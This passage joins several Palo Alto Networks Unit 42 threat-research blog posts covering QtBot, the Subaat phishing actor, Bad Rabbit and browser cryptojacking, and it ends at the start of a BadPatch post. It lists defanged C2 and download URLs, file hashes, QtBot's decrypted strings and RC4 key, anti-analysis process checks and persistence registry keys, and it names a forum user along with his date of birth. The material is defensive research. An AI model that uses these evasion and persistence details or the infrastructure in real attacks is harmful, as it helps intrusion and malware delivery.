The entire list is iterated over until a valid download location is found (this can be observed in the cmd.exe window which is spawned in the background by the initial DDE execution). Once a live command and control server responds, the QtBot binary (798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120) is downloaded in the clear.

Figure 3. Download of the QtBot downloader, with the executable in the clear. Note that the Content-Type doesn’t match.

Once the QtBot binary has been downloaded, its executed from the user’s %temp% directory using the PowerShell directive Start-Process which can be seen in the decoded base64 blob included in the code block above. When QtBot is started, it initially performs a connectivity check to the legitimate domain, ds.download.windowsupdate[.]com, via an HTTP POST request.

Figure 4. Downloader component issues a request to an innocuous domain as a connectivity check.

Finally, once the connectivity check passes, QtBot will beacon back to its command and control server using an HTTP POST request with an RC4 encrypted payload and await a response which is encrypted with the same RC4 key. The User-Agent “Windows-Update-Agent” in the connectivity check, initial check-in, and final payload delivery are all identical.
For the network traffic below, we will use the QtBot sample, d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2, as at the time of analysis the command and control server was still live and serving geo specific payloads.
In cases where the geolocation matches a set list (we believe this list is likely identical to the earlier VBA discussed in the Introduction section), we will see the traffic below.

Figure 5. The downloader Trojan posts data back to the command and control server. This likely determines geolocation based targeting, this request led to the download of Trickbot as we used a UK based exit point. Trickbot download can be seen in Figure 6. Note the user-agent header is identical to that of the connectivity check in Figure 4.

Due to the host being within the UK, we received an encrypted Trickbot payload. The decrypted Trickbot observed in the request below is 4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad.

Figure 6. Payload downloaded by the intermediate downloader. In this case, Trickbot.

In the following figures, we see a host POST data back to the C2 and receive a slightly different response. This is because the host is in a location not specifically targeted for Trickbot delivery. Thus, we expect to see a different download location and likely a Locky payload.

Figure 7. The downloader Trojan posts data back to the command and control server. This likely determines geolocation based targeting, this request led to the download of Locky as we used a CA based exit point. Locky download can be seen in Figure 8.

Below we see a different payload from a different location due to the server’s response. In this case the payload is an encrypted Locky binary. This decrypted binary is 9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49.

Figure 8. Payload downloaded by the intermediate downloader. In this case, Locky.

With the network behavior laid out from initial execution to payload delivery, lets take a closer look at the intermediate downloader, QtBot.

QtBot Analysis
The QtBot downloader is a Windows executable file that decrypts an importless stub into memory. This payload is later injected into msiexec.exe using common techniques. The payload then decrypts the second stage shellcode and injects it into a newly spawned svchost.exe process. This svchost.exe acts as the handler for the final payload.
When QtBot initially executes, a new thread is created which is responsible for process scanning. This process scanning is used to identify analysis tools and, if any are found, terminate the malware’s further execution. This check is periodically repeated on a loop. Process hashes are calculated by lower casing the process name, calculating the crc32 of the result, and XORing the crc32 value with 0x2e5d47c8. The XOR value appears to change on a regular basis, thus the hashes below only apply to 798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120. The following hash values are checked against running processes:

0x171AF567
0xB713B22E
0x59F3573F - wireshark.exe
0xA9275283 - peid.exe
0x2C533BA3
0xB1FDD418 - x64dbg.exe
0xA7B71C08
0x5BBA66D5
0xFD62D761
0xB01C9DA9 - cff explorer.exe
0xE7AC4C20
0x8718A391 - procexp.exe
0x817D523A - ollydbg.exe
0x9A65393D - lordpe.exe
0x4B1B38C6 - processhacker.exe
0xBD46C402
0x72472F0B - tcpview.exe
0x151648CD
0x4A694A06 - vboxservice.exe
0x956511A3 - sbiesvc.exe
0x09D19890 - vmtoolsd.exe
0x70383CD2
0x40C795F0 - petools.exe
0x6D2607D8 - exeinfope.exe
0x4D9803BC - vboxtray.exe
0x29FBEE3C - windbg.exe
0x0872D0FC
0x28F7E9A8 - idaq.exe
0x3D0598D0 - x32dbg.exe
0x1D141E5D
0xFCB2810C - python.exe
0x2AA827DB
0xCA9B2CDE
0x75F4F636 - procmon.exe

0x171AF567

0xB713B22E

0x59F3573F - wireshark.exe

0xA9275283 - peid.exe

0x2C533BA3

0xB1FDD418 - x64dbg.exe

0xA7B71C08

0x5BBA66D5

0xFD62D761

0xB01C9DA9 - cff explorer.exe

0xE7AC4C20

0x8718A391 - procexp.exe

0x817D523A - ollydbg.exe

0x9A65393D - lordpe.exe

0x4B1B38C6 - processhacker.exe

0xBD46C402

0x72472F0B - tcpview.exe

0x151648CD

0x4A694A06 - vboxservice.exe

0x956511A3 - sbiesvc.exe

0x09D19890 - vmtoolsd.exe

0x70383CD2

0x40C795F0 - petools.exe

0x6D2607D8 - exeinfope.exe

0x4D9803BC - vboxtray.exe

0x29FBEE3C - windbg.exe

0x0872D0FC

0x28F7E9A8 - idaq.exe

0x3D0598D0 - x32dbg.exe

0x1D141E5D

0xFCB2810C - python.exe

0x2AA827DB

0xCA9B2CDE

0x75F4F636 - procmon.exe

The payload then creates randomly generated numerical mutex along with the registry key “HKCU\Software\QtProject”. This registry key has been used in the past by legitimate Qt framework software and is not strictly to be considered malicious on its own.
Once the mutex and registry string are created, the malware uses RC4 with a hardcoded key to decrypt numerous strings which are reproduced below (note these strings are from 798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120):

cmd.exe
Software\Microsoft\Windows\CurrentVersion
boom
http://toundlefa[.]net/
Software\QtProject
msiexec.exe
svchost.exe
/c start %s && exit
cmd.exe
\System32\CompMgmtLauncher.exe
runas
Software\Classes\mscfile
\shell\open\command
tmp_file
Software\Microsoft\Windows\CurrentVersion
\Policies\Explorer
\Run
Check Update
POST
Content-Type: application/octet-stream
Connection: close
DZCW
6VK3
regsvr32.exe
http://ds.download.windowsupdate.com/
{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}
{"rep":1,"bid":"%s","tid":"%s","res":%d}

cmd.exe

Software\Microsoft\Windows\CurrentVersion

boom

http://toundlefa[.]net/

Software\QtProject

msiexec.exe

svchost.exe

/c start %s && exit

cmd.exe

\System32\CompMgmtLauncher.exe

runas

Software\Classes\mscfile

\shell\open\command

tmp_file

Software\Microsoft\Windows\CurrentVersion

\Policies\Explorer

\Run

Check Update

POST

Content-Type: application/octet-stream

Connection: close

DZCW

6VK3

regsvr32.exe

http://ds.download.windowsupdate.com/

{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}

{"rep":1,"bid":"%s","tid":"%s","res":%d}

The hardcoded RC4 Key, 0x7A3C5B7CB7FCE715702AA0F4F4EC0935E759FD3B7B6BCC70159D61CF42814B81, is reused throughout this campaign to encrypt and decrypt network communications.
QtBot includes a function which checks for the keyboard layouts common to former USSR countries, if any are found, execution is terminated. This routine is shown below:

Figure 9. Keyboard layout checks in order to prevent infection of former USSR countries.

For persistence, a temp file is generated with a randomly generated name and stored in %APPDATA%\Local\Temp\ in a randomly named folder.
This randomly generated value is used for the folder name and is stored in the registry key “HKCU\Software\QtProject” in the value “0FAD2D5E”. The malware stores additional encrypted data in this key:
“0FAD2D5E” – Random Value + Unicode temp file name + length of data blob
“0FAD2D5EDZCW” – RC4 Encrypted C2 Domain
Successful malware communications use a format string like the one below:

{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":
%d,"tmt":%d}

1 2	{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb": %d,"tmt":%d}

When this is filled in, it would look similar to the following:

{"rep":0,"bid":"LD0fJMblnCbrDT8Mvma4Rg==","ver":256,"cam":"nightboom","cis":0,"lvl":1228
8,"adm":1,"bit":1,"osv":1537,"osb":7601,"tmt":30}

1 2	{"rep":0,"bid":"LD0fJMblnCbrDT8Mvma4Rg==","ver":256,"cam":"nightboom","cis":0,"lvl":1228 8,"adm":1,"bit":1,"osv":1537,"osb":7601,"tmt":30}

Some of these values are unknown, though we are able to speculate the nature of their meanings. We believe they are as follows:
"rep" – communication attempt repetitions from a single host
"bid" – binary identification; this value is stored in registry value "0FAD2D5E" and is RC4
encrypted and base64 encoded before sending
"ver" – likely versioning information
"cam" – campaign name
"cis" – unknown hardcoded value
"lvl" – system integrity level
"adm" – if the malware has administrative privileges
"bit" – unknown
"osv" – operating system version
"osb" – operating system build
"tmt" – timeout in seconds

Similarities to Andromeda
Existing analysis of the Andromeda loader and bot reveals some commonalities between Andromeda and QtBot. The most apparent similarities of these two families are the running process hash check used for anti-analysis, host infection denylisting based on language identifiers returned from GetKeyboardLayout, separate infection and task reports for C2 reporting, and code injection target, msiexec.exe. At this time due to the seemingly major updates to the base Andromeda, which is still active, we are referring to this particular family as a new entity and have created a separate identifier in Autofocus, QtBot, to help users differentiate.

Conclusion
While geographic location specific malware delivery is not a new phenomenon, the combination of two previously disparate malware family affiliates utilizing unified malspam campaigns and droppers is an interesting shift in tactics. QtBot protects itself and the decision tree by which targeting is established and offers a significantly more robust anti-analysis package to stymie analysts.
Palo Alto Networks has observed more than 4 million unique sessions with QtBot behaviors which can be seen with the QtBot tag in AutoFocus. Customers using Wildfire are protected from this threat.
Palo Alto Networks would like to thank researchers at Proofpoint, who identifies this threat as "QtLoader", for first bringing these campaigns to our attention.

IOCs
798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120 – QtBot
d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2 – QtBot used for payload differentiation screenshots
bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9 – DDE Dropper
9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49 – Locky
4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad – Trickbot
hXXp://hobystube[.]net – Locky Download Location
hXXp://kengray[.]com – Trickbot Download Location
hXXp://fetchstats[.]net – QtBot C2
hXXp://toundlefa[.]net – QtBot C2
hXXp://aurea-art[.]ru/incrHG32
hXXp://castellodimontegioco[.]com/incrHG32
hXXp://nl.flipcapella[.]com/incrHG32
hXXp://dotecnia[.]cl/incrHG32
hXXp://christakranzl[.]at/incrHG32
hXXp://burka[.]ch/JHhdg33
hXXp://celebrityonline[.]cz – URI varies based on payload

Tracking Subaat: Targeted Phishing Attack Leads to Threat Actor's Repository

Posted on October 27, 2017November 5, 2018 by Unit 42

In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others. We’ll discuss how we discovered it, as well as possible attribution towards the individual behind these attacks.

The Initial Attack

Beginning on July 16, 2017, Unit 42 observed a small wave of phishing emails targeting a US-based government organization. We observed a total of 43 emails with the following subject lines:

Invention
Invention Event

Within the 43 emails we observed, we found that three unique files were delivered, which consisted of two RTFs and a Microsoft Excel file. Both RTFs exploited CVE-2012-0158 and acted as downloaders to ultimately deliver the QuasarRAT malware family. The downloaders made use of the same shellcode, with minor variances witnessed between them. Additionally, the RTFs made use of heavy obfuscation within the documents themselves, making it more difficult to extract the embedded shellcode.

The Microsoft Excel file contained malicious macros that resulted in dropping and subsequently executing Crimson Downloader. The Excel document contained a UserForm that in turn contained three text boxes. The embedded payload was hex-encoded and split between these three text boxes. The malicious macro extracted this information from the text boxes, dropped it to a specific location, and eventually executed the Crimson Downloader payload.

Detailed information about these malware samples may be found in the appendix of this blog.

A curious aspect of this campaign is the use of Crimson Downloader in this email campaign. To date, we have not widely seen Crimson Downloader being used: in fact, we have only seen 123 unique instances of this malware family being used to date. Readers may recall a previous blog post from March 2016 that discussed Crimson Downloader. That blog post discussed relationships with both Operation Transparent Tribe and Operation C-Major, which were both targeted campaigns that made use of Crimson Downloader aimed at diplomatic and political targets. The connections we observed in this research leads us to believe there might be a connection between this most recent activity we observed and those campaigns. However, there is not enough evidence to say so decisively.

Expanding the Scope from the Original Attacks

When looking at the various malware samples encountered as we analyzed this campaign, we identified a total of three hosts/IP addresses, as shown in the following chart:

5.189.157[.]215	Crimson Downloader connects to this IP address.
115.186.136[.]237	QuasarRAT connects to this IP address.
subaat[.]com (Resolves to 23.92.211[.]186)	RTFs download QuasarRAT from this host.

Starting with the first IP address that was used by Crimson Downloader, we can see that this address appears to be located in Germany and is almost exclusively associated with this malware family. Based on our telemetry, this IP address has exclusively been used to communicate with Crimson Downloader. We observed a total of 16 unique Crimson Downloader samples starting in May of this year.

Moving onto the second IP address of 115.186.136[.]237, we see that this IP address belongs to a Pakistan-based Internet Service Provider (ISP), based in Islamabad, that services both residential and commercial customers.

The subaat[.]com domain has historic WHOIS information from early 2016 that references a Pakistani location, as seen in the image below. Additionally, it uses pkwebhost[.]net for its DNS, which is a Pakistan-based hosting provider.

Figure 1 Historical WHOIS information for subaat[.]com from early 2016

The references to Pakistan in conjunction with the use of Crimson Downloader, which has historically been associated with Pakistan actors, is certainly interesting.

The RTFs we observed in the original email campaign downloaded QuasarRAT from http://subaat[.]com/files/sp.exe. Checking this host led us to discover that directory listings were enabled. We were able to discover a large repository of malware on this open server.

Figure 2 Open directory listing of subaat[.]com

Since beginning this research, this domain has been suspended by the hosting provider. However, it returned in mid-August, hosting both a malicious APK and a known instance of QuasarRAT.

Figure 3 Subaat returns after suspension

In total, we found 84 unique malware payloads hosted on this server, in addition to a number of miscellaneous scripts. The chart below shows the malware families we identified:

Figure 4 Malware families identified in web server repository

As we can see from the above chart, a wealth of different malware families were stored on this web server. Many of these malware families are considered to be commodity malware, or widely used by criminals. Palo Alto Networks has reported on many of these families in the past, including LuminosityLink, QuasarRAT, and DarkComet to name a few. The large number of commodity malware families paints a very different picture from the original attack that made use of Crimson Downloader, which is not a widely used malware.

A full list of SHA256 hashes associated with these samples may be found in the appendix.

One thing that caught our eye was the large number of LuminosityLink malware samples stored on this server. Looking at the embedded configuration settings for these samples, we see that they are all similar. The following example shows one of these configurations. A script written in a previous blog post was used to generate the output below, it can be downloaded here.

Figure 5 Embedded configuration within LuminosityLink sample

The email address shown above is used to register a customer’s copy of LuminosityLink. All samples using this registered builder contain this email address. We found all 20 of the identified LuminosityLink samples contained this same email address. The primary domain shown above is registered to 115.186.136[.]237, which is the IP address used by QuasarRAT for Command and Control (C2) communications. Looking at other samples found within the web server repository, we identified a number of malware families communicating with this IP address, including the following:

QuasarRAT
LuminosityLink
Meterpreter
NJRAT
RevengeRAT
RemcosRAT

We also discovered that the email address discussed above was being used by an account on the popular HackingForum web forum service. The account in question that claims to own this email address is none other than ‘Subaat’.

Figure 6 Subaat user mentioning the hotmail email address on HackForums

Looking at this user’s profile below, we can see their posting history: a total of 14 posts in the past two years. We also see a date of birth of 2/24/1990, stating that the individual is 27 years old.

Figure 7 Subaat profile information

A quick look at the posting history indicates that this person was inactive starting around December 2016, but returned to posting in early July of this year. This is in line with the campaign witnessed against a US-based government organization that took place on July 16^th. The posts look to be related to various Office exploit builders and crypters. This again is in line with both the campaign we witnessed as well as the various malware we identified on subaat[.]com.

Figure 8 Subaat posting history

A Look Behind the Scenes

Looking at logs for the subaat webserver between July 1^st and July 20th shows the IP address of 115.186.136[.]237 uploading and interacting with a number of malicious files. We found interactions with a total of 64 unique files during this period. Below is a chart showing the attacker at this IP address interacting with some of the more popular malware families that have been identified.

Figure 9 Interaction between attacker and web server

As we can see from the chart above, a spike of activity took place in the July 11^th to July 16^th timeframe. This again is consistent with the email campaign that took place in the midst of this period. A number of malware families have been used by this specific attacker, and many of them are configured to communicate with 115.186.136[.]237 as the C2.

Conclusion

What started out as a simple look into what appeared to be a targeted phishing campaign turned into much more. By the end of this research endeavor, we have identified a server hosting a large number of malware samples that has been primarily used by one specific IP address. This IP address not only interacted with this web server, but also acted as a C2 server for many of these malware families. While looking at malware associated with this actor, we discovered an email address that is tied to a user account on HackForums that has a name consistent with the domain used to host the actor’s malware.

We saw similarities this campaign and both the Operation Transparent Tribe and Operation C-Major campaigns. Additionally, there is marginal evidence that suggests that the attacker may be based in Pakistan, which is again in line Operation Transparent Tribe. However, the overall evidence is not conclusive, and there is insufficient proof to say decisively that this is the same threat actor.

Palo Alto Networks customers are protected by this threat in a number of ways:

All identified samples are flagged as malicious within the Palo Alto Networks platform
All domains identified within this research have been appropriately marked as malicious
Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-2017-0199

Appendix

Analysis of Malicious RTF Documents

The two identified samples that were used in a campaign against a US-based government organization has the following SHA256 hashes:

0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301
9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d

These samples varied in size greatly, however, the underlying shellcode was consistent. One notable difference observed in one of the samples (0ade05…) was the inclusion of injecting the shellcode into a newly spawned instance of svchost.exe.

When the shellcode begins, it will start by loading a number of functions that are used to inject code into svchost.exe. The following Python code demonstrates how this hashing function operates:

Figure 10 Python code demonstrating API hashing technique #1

The shellcode continues to decrypt a blob of data using a 4-byte XOR key of 0x8F51F053. This blob contains a series of important strings, such as the URL and filename, as well as functions that will be used to download the payload.

After this blob is decrypted, flow control proceeds to this blob’s code, where the shellcode will load multiple libraries and functions using a specific hashing algorithm.

The shellcode continues download a file to the %TEMP% directory from the following URL:

http://subaat[.]com/files/sp.exe

The shellcode proceeds to execute this newly downloaded file prior to exiting.

Analysis of Malicious Excel Documents

The identified sample that was used in a campaign against a US-based government organization has the following SHA256 hash:

e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621

When this sample is initially executed, it will attempt to run a malicious macro that is embedded within the file. This macro begins by determining where a dropped file will reside. It will attempt to find the following folders residing within a user’s profile path:

/Documents
/Downloads
/AppData

Figure 11 Macro determining file path

The payload itself is stored within text boxes in a user form within the Excel document. This data is extracted and hex-decoded. The three blobs of data are concatenated to form a proper PE32 executable.

Figure 12 Macro loading data from text boxes

A quick look at the included user form gives us a better view as to how this data is stored.

Figure 13 Embedded user form with three text boxes

The following example Python code demonstrates the hex-decoded data shown in the highlighted text box above.

Figure 14 Python code hex-decoding the stored data

After this data is properly handled, the macro will drop this file with an extension of .scr to the designated file path. It is then executed in a new process. This newly spawned process is an instance of the Crimson Downloader malware family.

SHA256 Hashes

c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71

6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742

07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc

66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6

20c949ca25fed25918e524dde67ffe44efb1c974a5ed68d519b77354303c4916

007e4b308a69d6c3dba5a01f754a63231b996f1a68ff43ec9b5906f583f0fc6b

f7d2f547d5ab07abf59f97fb069288d682a20bc9614642777d11c7db76b36f39

20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c

9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af

95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f

0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242

914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583

2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4

67d4ab365f1630e750aee300f14fbfc940ea235647014030bd56c4127933834b

41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874

e51b8bf7cc72b47c8ee59056fabd2af1795152d8df33967949d2d2a0996cc51b

4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0

3a664210955a82d961480adcc914456931325268ccf26c09d0275ca1d2ff35f1

5cc14c2bc185121391a7c43e3e65ced4697274e93fe42f28f20c067dde7e9f1d

f19480d36453da029247fbd066c7f0c1b28912bbefafd052b1d4ee9a64eb9e31

6bbb87f05d9d987a3df3bb585de3f2fad5d5cd3f11a0e3c4587255c55a9fe2a5

75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32

a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847

2c34565535a0f90b469f0e100d9027190d3cd812bd824aa6af73b4884690a395

50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736

a8445387cb7e4bc79da34d371eedf50f265e145ce8f48c64aeff2690ed7f8b10

7218bc4e9b8817eff678422a9125a852c3f66ecf275aa691433dd8cd4910f66d

106938bff25de67513acc809c4c77b2aa9e9974ec8bf4d20bad154015abc77be

85116c4f9695bf15fe3fdcb20cff8634971e39c2b97b1a159446fa6cdf05e913

253bb91003a8c295a70240206605542147d7b9fdc2d26ac999772b3b78db3a80

2d5abd4cc322d5802617d6a1cd3fc22403052e2711bf6bd76976ab7d1cea45cf

e0d6e8584f2d3d6d807ad2fe9d2fccc792635e8e3ab0132f3b5dedc0394019c9

625f30d4abd89b94c1f732463202c51cd9424a1bcbf2e72a9779773c0f82f93c

6807c25ead1c377c975c84a214da8a68482623658369a02ce56b531d6f38a5b6

dfb984ea975ca992e1a0f9a6d30a41057edd36b170704b7831f609f44f80ad8d

ed9fb1d8c36fb60c808006ae63908980a259cb73ed44adf19856ea6c239d1eab

1f286fff72a562cd327985a1b57316364710f2cbfeedc46d12dc8d21b4611ecb

4da2fd94b4f21a346ebfa5d8793dd60a1d4200dfe6b91517a70aed4c0b59a4d4

983bc61d569839558e2a2ef2a53174efe45be4e65da991268ce1926beb4e3505

7b1ab4513788ef4b6628911ba6ed6362eb357b66d18f6988fb4ceffb20ee1d91

8c93d054d4ef93f695da9693f6de538e269b39320c934428f27cc22ef6b2d89e

cd873eaded83861c4f59bfb5c902b43bfd7f5ecb13eccc385498ad9564085e97

e63f0ab5413b0013d79c57f8132c21c0c9397c88caa01edbb4fbe6c2db4932a0

24bc5f9aa78d91d6c8641b90cac6d3c3e7ddf4b30a992a9129d73c5edb04f80f

89ac4eeaecd38fcb2eb8e0bacd156b6133a6093f44622f7d82e22493a69cafb7

07abc1eb421baffe4f894406c1435b3daf8d1dcfba53d8e4e8f584cf72d08110

2941360679ea485798e324e3538c358cf6cba65959ebf28df9fd4a5492bf2888

dbac3abbaaea59c8287d3ed47cac07aeca952a3620eda4559c2bf0f3f611d52e

efca910066b59ca833c7291d07f18922cf5e3e2301c5fd95b7acd50f195fc580

a331276b9810ebc131daf883887a0ba8ab0fb5e6ea4671b12249c1be1755fce8

31d94441009e7ea50d880e1dcc9e09890f1139bce9edc847b05f2c5ac355695e

c3eeb0677dcbfe4edb6cca9c5bac34ae80a5906b76676548ef0e5110f3ddd4c3

e68ea3c3c9bb0d5b0d4f940b0cbbfb6913a47bb6f345b54f487241fc4eec4b31

83810647cd0c398ad05dec63c41756bf5fbfd1b0658379753c157e7b1f45aed3

dfb4f62c609be0295ef1c4fcd59c5897fbd0ad40a82d00a93e7f3bdadcc1d320

23180df75c5b9293f3743ea27c09ce471f1f5541cd668ac22c16e41f1ff7b4da

ef09065b95d0ea2e02384828e5616fc6f9ededadb2b4719078904c50d2ed4307

923818d36ff1fd94829424847ac20ab7d77432b133cdb5cb1a1be87ec0e1b617

4cbc47fe5d82145265e8dbc9e81ab6afa9a0a4f3c6dd8c15ce2af09584278517

670e45f3e2fbb635df00790d90a5cf8bc950440a935b38c2bb71f0c463c24b3b

2551d883d3e66a3e7bcabc052be2e503808df570c03d816ddfb83bf6e686a5f6

712a8fa4308de2ba1a83545e96539092215c75bfa8b63b33ee1a739cc6522873

7e09b6d96d7034f1ac5947355dba360cc49f53d4c0c89aab05c1ef6cc2d0a213

801bb690dd2ecd3877b014030dfca40f3b7d964fdb8e1ab1252352212e24f777

fae9b4a92277e227f6122794ef366dba49c045add9569e9a0d8fc66196c5c787

2bfbd56ee421b8aab3dd3d1f9e9a2d512556a4e0440c8f04e94d6ad5b584e43c

35bc123df7bfc8f9239af3fa14350091c513e7b1d42b93a8dca39e131c48c052

87d122b7b99735689713ff51650b6a331d9c4d7f7617fc15b7e07b0225b60c2a

0b2a6225d209783672900d1b8e0b19957cb924f0111d0be347dead9520ad745a

5f3845a1e3d2f3d09c3ffff4a71e04f61d995aae54311d4c9ab88ff65803d131

5c361d57ac83936d08c4a93208142b7397d6074bbf6e24cb6cee0e3e3e5351b3

ea35cf979b358c1661b4b1b9465a700925bdf4ba227989b47127270e32345f29

44963748c947e0f5d21d353e6e5ceb3b6a64fd0b4ad28540ab47bdf2422e9523

1d4f20832e641a1cedd598e187614b78ba3d5930c6dcd71e367b254664cb9b2e

050123edd0d9ea5acf32314aa500467211d8f204f57627abc42937fe11f04382

4c806d18ba1cac5d83be7c05f43697d5124b910d2de8264cdff1d8f186a0a7dd

aec031e3747b00be2b0cc3a1d910ae18ada65452f3e70425cae86fe24d2996d4

5ac984bb11b989ef745c35dd2418eb5bd26a6bba291cf2ba7235bf46d3400260

0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301

e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621

9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d

7bad7cbc32e83b8dfc4f6c95824ea45dcee2330de44d84c9bc551f99e6ca6faa

341403284158723f1f94897d257521a73fcfc8049b786f5004f60a063fb074f2

f68a169670bb3dc3bd0a2dc83120d34f59d7f4dacfdc98dbbd86931cdd4f7392

579c669bd8ec8dd393a836c6c27c86e40e8048fa5efbcfc03e027e69298f0e6a

19df2d2460be2f22f73ea7992470c5369599fba290c0f3dbc613ad35dc3ba18a

692997349c017c627c8779816bc41840dd7867b0c4d3bec99638bfba159675bc

c0658b5aa4e9bc2433557e65ad20ded6f91b3441dac72cb8c2ea7e1f2e43e05e

IP Addresses

5.189.157[.]215

115.186.136[.]237

Domains

subaat[.]com

hassanusauae786.hopto[.]org

Threat Brief: Information on Bad Rabbit Ransomware Attacks

Posted on October 24, 2017January 28, 2022 by Unit 42

This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.

Attack Overview

Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe. While not spreading as widely as the Petya/NotPetya attacks, reports indicate that where Bad Rabbit has hit, it has caused severe disruption. The Ukrainian CERT has issued an alert on Bad Rabbit.

As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update. Once inside a network it spreads by harvesting credentials with the Mimikatz tool as well as using hard coded credentials.

Bad Rabbit is similar to Petya/NotPetya insofar as it encrypts the entire disk.

We are not aware of any reports of successful recovery after paying the ransom.

Because the initial attack vector is through bogus updates, Bad Rabbit attacks can be prevented by only getting Adobe Flash updates from the Adobe web site.

Reconnaissance

This attack does not appear to be targeted. Therefore, there appears to be little reconnaissance as part of this attack.

Delivery/Exploitation

According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites. Proofpoint researcher Darien Huss‏ has reported this fake update was hosted at 1dnscontrol[.]com. Reports differ on whether this is delivered through social engineering that convinces the user to install the fake update or if it is delivered silently through unpatched vulnerabilities (i.e. “drive-by” installs).

Lateral Movement

Once inside a network, Bad Rabbit propagates itself to other systems. Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.

Command and Control (C2)

At this time, we have no information on command and control for Bad Rabbit.

Conclusion

Bad Rabbit is not as widespread of an attack as Petya/NotPetya but is causing severe disruptions where it is occurring. It is similar to Petya/NotPetya in terms of the impact of a successful attack. However, it is a different attack with different malware.

We will update this blog with new information as it becomes available.

For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.

As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.

Version Summary

October 24, 2017 2:30 p.m. PT

Initial Publication

2 Minute Threat Brief: Browser Cryptocurrency Mining

Posted on October 20, 2017September 21, 2020 by Eila Shargh

Cybercriminals have embraced the anonymous nature of cryptocurrency as a new preferred method of profit. Unit 42 released details about attackers hijacking web browsers to mine for compute resources and exchange for cryptocurrency. With the increasing value of cryptocurrency, such as bitcoin and Ethereum, and a better business model with higher returns than malware- and exploit-type attacks, it’s no surprise these types of attacks are becoming more commonplace.

How It Works

Cybercriminals will compromise a website and abuse a legitimate tool on that site to gain access to the compute resources of site visitors’ systems. Using this access, attackers will essentially steal compute resources and exchange them for cryptocurrency credit. This all occurs without the users’ consent or knowledge throughout the duration of their site visits.

The malicious activity itself doesn’t cause long-term damage to systems, and ends as soon as users leave the malicious or compromised site. Additionally, the site will still provide users with its normal, intended functionality. However, users likely experience a noticeable slowdown in system performance.

How to Defend Against It

If you believe your system is being affected by this type of attack, leaving the site or closing your browser will, in most cases, end the attack. Additionally, you should practice good cybersecurity hygiene. This means avoiding unfamiliar websites, clicking on links or downloading attachments from unknown email senders, keeping products updated with the latest security patches, enabling multi-factor authentication, and using reputable security products.

BadPatch

Posted on October 20, 2017November 5, 2018 by Tomer Bar

Introduction

In April 2017, in collaboration with Clearsky, Palo Alto Networks Unit 42 published an article about our research into targeted attacks in the Middle East. In that research we discussed two new malware families we named KASPERAGENT and MICROPSIA.

Since then, we have continued our research into the Command and Control (C2) infrastructure associated with KASPERAGENT and MICROPSIA. This ongoing research lead us to a new Middle Eastern campaign. Our findings from this new campaign include C2 infrastructure, new attack methods, four types of malware (including Android malware), a system for management of stolen victim data and some detail of the actors.

It is notable that our research has shown that this newly-identified attack campaign dates back to at least June 2012, over five years ago.

In this blog, we outline the results of our research into this new campaign so far.

Finding the New Campaign

Our discovery of this new campaign begins where our previous KASPERAGENT and MICROPSIA research left off.

Pivoting from Previous KASPERAGENT and MICROPSIA Research
